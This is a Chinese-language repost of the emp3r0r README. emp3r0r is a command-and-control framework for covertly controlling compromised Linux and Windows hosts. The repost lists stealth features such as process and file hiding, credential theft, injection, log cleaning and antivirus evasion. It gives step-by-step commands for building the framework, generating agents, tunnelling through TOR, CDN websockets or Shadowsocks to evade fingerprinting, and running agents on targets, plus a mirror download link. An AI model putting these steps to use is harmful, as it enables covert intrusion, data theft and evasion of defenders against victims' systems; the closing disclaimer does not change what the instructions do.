概述

emp3r0r 是一个C2框架,允许通过终端UI远程管理目标(agent)。它支持多种传输机制进行安全通信。

因由

最初,emp3r0r 是作为我的武器化实验之一开发的。对我来说,这是一个学习过程,尝试实现常见的 Linux 对手技术和我的一些原创想法。

那么,emp3r0r 有何不同?首先,它是第一个针对 Linux 平台的 C2 框架,包括通过它使用任何其他工具的能力。查看这些功能,了解更多使用它的正当理由。

为了支持第三方模块,emp3r0r 具有完整的python3 支持,包含在vaccine模块中,总共 15MB,以及必要的第三方包,例如ImpacketRequestsMySQL

特色

  • 漂亮的终端用户界面

    • 使用tmux进行窗口管理

  • 隐身

    • 自动更改argv,因此你不会在ps列表中注意到它

    • 通过 Glibc 劫持隐藏文件和 PID(patcherin get_persistence

    • 内置Elvish Shell,伪装与主进程相同

    • 所有 C2 通信均通过 HTTP2/TLS 进行

    • 使用UTLS绕过JA3指纹识别

    • 轻松封装在Shadowsocks和 KCP中

    • 能够封装在任何外部代理中,例如TORCDN

    • 通过 SSH 进行C2 中继

    • DLL 代理

  • 多任务处理

    • 无需等待任何命令完成

  • 模块支持

  • 通过SSH 和 PTY 支持实现完美的 Shell 体验

    • 与任何 SSH 客户端兼容并适用于 Windows

  • Bettercap

  • 通过各种方法自动持久化

  • 后开发工具

    • Nmap、Socat、Ncat、Bettercap 等

  • 凭证窃取

  • 进程注入

  • Shellcode 注入

  • ELF Patcher 持久化补丁

  • 打包机

    • 加密并压缩代理二进制文件并以隐秘的方式运行代理

  • 隐藏进程和文件并通过共享库注入获得持久性

  • 联网

    • 端口映射

      • 从 C2 端到代理端,反之亦然

      • TCP/UDP 同时支持

    • 支持 UDP 的代理端 Socks5 代理

  • 自动 Root

  • LPE建议

  • 系统信息收集

  • 文件管理

  • 日志清理器

  • 截屏

  • 反病毒

  • 互联网访问检查器

  • 自动将代理从内部网络桥接到 C2

    • 对于半隔离网络

  • 通过代理到代理 SSH 连接的代理

  • 与 Metasploit/Cobalt Strike 的互操作性

  • 还有更多......

主要功能:

  • 安全传输:通过TLS的HTTP2、Shadowsocks (TCP/UDP)、TOR、CDN通过Websocket等。

  • 跨平台支持:支持所有CPU架构的Linux,Windows (386/amd64)。

  • 灵活配置:支持自定义安装路径、生成agent和通信方式。

安装

  1. 下载并安装

  • 选项1:从源码克隆并构建:

git clone https://github.com/jm33-m0/emp3r0r.git
./emp3r0r --release
./emp3r0r --install
  1. 自定义安装

  • 默认情况下,emp3r0r安装到 /usr/local/lib/emp3r0r 目录。

  • 如果需要安装到自定义目录,可以运行:

PREFIX=/custom/path ./emp3r0r --install
  1. 启动C2 UI 确保安装了 tmux 来查看终端UI。首次运行时会生成服务器证书,并要求输入C2服务器的名称。

配置和运行emp3r0r C2

  1. 启动C2服务器

  • 安装完成后,运行以下命令启动C2 UI:

emp3r0r
  1. 生成Agent可执行文件

  • 进入Agent生成器:

use gen_agent
  • 使用 set <option> <value> 命令设置所需选项:

    • 示例:设置C2服务器地址:

set cc_host example.com
  • 配置完成后,生成Agent可执行文件:

run
  • Agent可执行文件将保存到 ~/.emp3r0r 目录中。

  1. 升级Agent 要在已连接的目标上升级Agent:

upgrade_agent

通信方式

  1. 基于HTTP2的TLS连接(默认 – 规避JA3指纹识别)

  • 默认情况下启用基于HTTP2的TLS安全通信。

  • 规避JA3指纹识别:通过流量混淆,避免通过SSL/TLS客户端指纹识别技术(如JA3)的检测。

  1. Shadowsocks及可选的KCP

  • Shadowsocks:通过AEAD_CHACHA20_POLY1305加密算法对流量进行混淆,使其难以被检测。

  • KCP:可以选择启用KCP以优化UDP流量。

    • 启用带KCP的Shadowsocks:

set shadowsocks with_kcp
  • 启用不带KCP的Shadowsocks:

set shadowsocks on
  1. TOR(洋葱路由)

  • 设置TOR隐藏服务:要在emp3r0r中使用TOR,请首先在服务器上设置隐藏服务。

    • 示例TOR配置文件 (/etc/tor/torrc):

HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 443 127.0.0.1:8000
  • 这里8000为C2端口,443为隐藏服务端口。注意:保持端口 443 不变,因为在emp3r0r中这个端口是硬编码的。

  • 配置完成后,获取你的onion域名:

sudo cat /var/lib/tor/hidden_service/hostname
  • 这会返回你的 .onion 地址,例如:cc.onion

  • 生成用于TOR的Agent:生成Agent时,使用TOR的 .onion 地址作为C2服务器地址:

set cc_host cc.onion
  • 这样确保Agent通过TOR进行连接。在运行Agent之前,确保目标系统上已经运行TOR代理(socks5://127.0.0.1:9050)。

  • 运行Agent(通过TOR连接)

    • 默认情况下,Agent会使用本地的TOR代理(127.0.0.1:9050)。首先运行TOR代理,然后启动Agent:

./agent
  1. 通过CDN(使用Websocket)

  • 配置CDN:要使用CDN,首先配置CDN提供商(如Cloudflare)将Websocket流量转发到你的C2服务器。

    • 典型架构如下:

agent -> socks5 -> CDN -> Nginx -> emp3r0r websocket server -> CC
  • Nginx应将Websocket流量代理到emp3r0r C2服务器。示例Nginx配置:

location /emp3r0r {
    proxy_pass http://127.0.0.1:9000/ws;
    proxy_redirect off;
    proxy_http_version 1.1;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection "upgrade";
    proxy_set_header Host $http_host;

    # 显示真实IP
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
  • 生成用于CDN的Agent:生成Agent时,使用你的域名作为C2服务器地址。例如,如果使用Cloudflare:

set cc_host wss://yourcdn.com/emp3r0r
  • 运行启用了CDN支持的C2服务器:在C2服务器上启用CDN支持:

emp3r0r -cdn2proxy 9000
  • 这里的 9000 是Websocket服务器的监听端口。

  1. 上游代理

  • 代理支持:emp3r0r的Agent可以通过上游代理(如HTTP或SOCKS代理)连接到C2服务器。在生成Agent时设置代理地址即可。

Agent选项和功能

  1. C2指标

  • 配置一个“合法”URL(例如 https://github.com)来隐藏C2流量。Agent会检查此URL,以决定是否连接到C2服务器。

  1. 自动代理

  • Agent可以使用UDP广播进行通信,并形成代理链,以便无法直接访问互联网的Agent可以通过其他已连接的Agent路由流量。

  1. DNS over HTTPS (DoH)

  • Agent可以使用DNS over HTTPS来安全地解析域名(例如C2连接的域名)。

命令行选项和环境变量

  • VERBOSE=true:启用Agent日志记录。

  • PERSISTENT=true:防止Agent自我删除。

  • REPLACE_AGENT=true:替换目标上现有的Agent进程。

  • ELVSH=true:将Agent作为交互式elvsh shell运行。

  • -version:查看Agent版本。

高级功能

  1. 将Agent引导至C2

  • 该功能允许一个已连接的Agent代理另一个无法直接连接到C2的Agent,通过中间代理实现连接。

    • 示例命令

use bring2cc
set target 192.168.1.10

运行Agent

  1. 直接连接(规避JA3指纹识别)

  • 在目标系统上直接运行Agent可执行文件:

./agent
  1. TOR连接

  • 在目标系统上启动TOR代理,然后运行Agent:

./agent
  1. CDN连接

  • 使用你的域名作为C2服务器,并在生成Agent时指定CDN代理:

set cc_host wss://yourcdn.com/emp3r0r

截图

说明文档

https://github.com/jm33-m0/emp3r0r/wiki

项目地址

GitHub:https://github.com/jm33-m0/emp3r0r

直链下载地址

https://lp.lmboke.com/emp3r0r-master.zip

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。